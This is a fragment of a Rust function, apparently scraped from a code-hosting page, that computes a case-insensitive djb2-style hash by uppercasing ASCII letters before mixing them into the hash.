|
||||
}
|
||||
|
||||
if (&b'a'..=&b'z').contains(&b) {
|
||||
hash = ((hash << 5).wrapping_add(hash)) + *b as usize - 0x20;
|
||||
} else {
|
||||
hash = ((hash << 5).wrapping_add(hash)) + *b as usize;
|
||||
}
|
||||
}
|
||||
|
||||
hash as u32
|
||||
}
|
Loading…
Reference in New Issue
Block a user